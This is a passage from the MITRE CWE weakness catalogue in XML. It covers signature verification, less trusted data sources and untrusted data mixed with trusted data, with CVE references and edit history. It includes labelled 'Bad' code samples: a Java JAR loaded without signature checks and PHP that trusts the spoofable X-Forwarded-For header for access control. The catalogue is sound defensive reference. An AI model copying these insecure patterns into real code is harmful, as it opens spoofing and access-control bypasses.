               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1549</Reference>
               <Description>product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1549</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0981</Reference>
               <Description>product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0981</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Origin Validation Error</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR2.12 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SD-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SR-2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR2.12 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR3.1 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="111"/>
            <Related_Attack_Pattern CAPEC_ID="141"/>
            <Related_Attack_Pattern CAPEC_ID="142"/>
            <Related_Attack_Pattern CAPEC_ID="160"/>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="384"/>
            <Related_Attack_Pattern CAPEC_ID="385"/>
            <Related_Attack_Pattern CAPEC_ID="386"/>
            <Related_Attack_Pattern CAPEC_ID="387"/>
            <Related_Attack_Pattern CAPEC_ID="388"/>
            <Related_Attack_Pattern CAPEC_ID="510"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="89"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-324"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.</Note>
            <Note Type="Terminology">The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Maintenance_Notes, References, Relationship_Notes, Relationships, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="347" Name="Improper Verification of Cryptographic Signature" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not verify, or incorrectly verifies, the cryptographic signature for data.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could gain access to sensitive data and possibly execute unauthorized code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following code, a JarFile object is created from a downloaded file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>File f = new File(downloadedFilePath);<xhtml:br/>JarFile jf = new JarFile(f);</xhtml:div>
               </Example_Code>
               <Body_Text>The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1796</Reference>
               <Description>Does not properly verify signatures for "trusted" entities.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1796</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2181</Reference>
               <Description>Insufficient verification allows spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2181</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2182</Reference>
               <Description>Insufficient verification allows spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2182</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1706</Reference>
               <Description>Accepts a configuration file without a Message Integrity Check (MIC) signature.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1706</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improperly Verified Signature</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC06-J</Entry_ID>
               <Entry_Name>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR 1.9</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SM-6</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req EDR 3.12</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req NDR 3.12</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req HDR 3.12</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="463"/>
            <Related_Attack_Pattern CAPEC_ID="475"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-05-27">Improperly Verified Signature</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="348" Name="Use of Less Trusted Source" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$requestingIP = '0.0.0.0';<xhtml:br/>if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {<xhtml:div style="margin-left:1em;">$requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];</xhtml:div>
                     <xhtml:br/>else{<xhtml:div style="margin-left:1em;">$requestingIP = $_SERVER['REMOTE_ADDR'];</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>if(in_array($requestingIP,$ipAllowlist)){<xhtml:div style="margin-left:1em;">generatePage();<xhtml:br/>return;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo "You are not authorized to view this page";<xhtml:br/>return;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.</Body_Text>
               <Body_Text>This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:</Body_Text>
               <Example_Code Nature="Good" Language="PHP">
                  <xhtml:div>$requestingIP = '0.0.0.0';<xhtml:br/>if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {<xhtml:div style="margin-left:1em;">echo "This application cannot be accessed through a proxy.";<xhtml:br/>return;</xhtml:div>
                     <xhtml:br/>else{<xhtml:div style="margin-left:1em;">$requestingIP = $_SERVER['REMOTE_ADDR'];</xhtml:div>}<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0860</Reference>
               <Description>Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0860</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1950</Reference>
               <Description>Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1950</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:15326</Reference>
               <Description>Similar to CVE-2004-1950</Description>
               <Link>http://www.securityfocus.com/bid/15326/info</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0908</Reference>
               <Description>Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0908</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1126</Reference>
               <Description>PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1126</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Use of Less Trusted Source</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="141"/>
            <Related_Attack_Pattern CAPEC_ID="142"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="349" Name="Acceptance of Extraneous Untrusted Data With Trusted Data" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0018</Reference>
               <Description>Does not verify that trusted entity is authoritative for all entities in its response.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0018</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5462</Reference>
               <Description>use of extra data in a signature allows certificate signature forging</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5462</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Untrusted Data Appended with Trusted Data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ENV01-J</Entry_ID>
               <Entry_Name>Place all security-sensitive code in a single JAR and sign and seal it</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="141"/>
            <Related_Attack_Pattern CAPEC_ID="142"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
